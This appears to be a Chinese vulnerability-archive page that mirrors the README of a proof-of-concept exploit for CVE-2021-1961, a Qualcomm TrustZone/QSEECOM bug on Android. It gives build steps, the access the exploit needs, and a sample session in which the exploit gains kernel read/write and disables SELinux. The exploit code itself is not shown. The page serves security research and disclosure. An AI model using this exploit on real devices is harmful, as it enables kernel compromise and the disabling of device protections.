目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-1961 PoC — Qualcomm 芯片缓冲区错误漏洞

来源
关联漏洞
标题: Qualcomm 芯片缓冲区错误漏洞 (CVE-2021-1961)
Description:Qualcomm 芯片是美国高通(Qualcomm)公司的芯片。一种将电路(主要包括半导体设备,也包括被动组件等)小型化的方式,并时常制造在半导体晶圆表面上。 Qualcomm 芯片中存在缓冲区错误漏洞,该漏洞源于产品的HLOS component组件缺少偏移长度检查。攻击者可通过该漏洞执行恶意代码。
Description
Exploit code for CVE-2021-1961
介绍
Exploit code for CVE-2021-1961. Full write-up is available
[on my blog](https://tamirzb.com/attacking-android-kernel-using-qualcomm-trustzone).

In order to build the exploit, run Android NDK's `ndk-build`.

In order to run the exploit, you need to have access to `/dev/qseecom`, which
means having the right user/group and the right SELinux context. This can be
done either on a debug image using the command `su system`, or on a stock image
patched with [Magisk](https://github.com/topjohnwu/Magisk) using the command
`su - system`.

Here is an example of running the exploit on a stock image patched with Magisk:

```bash
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →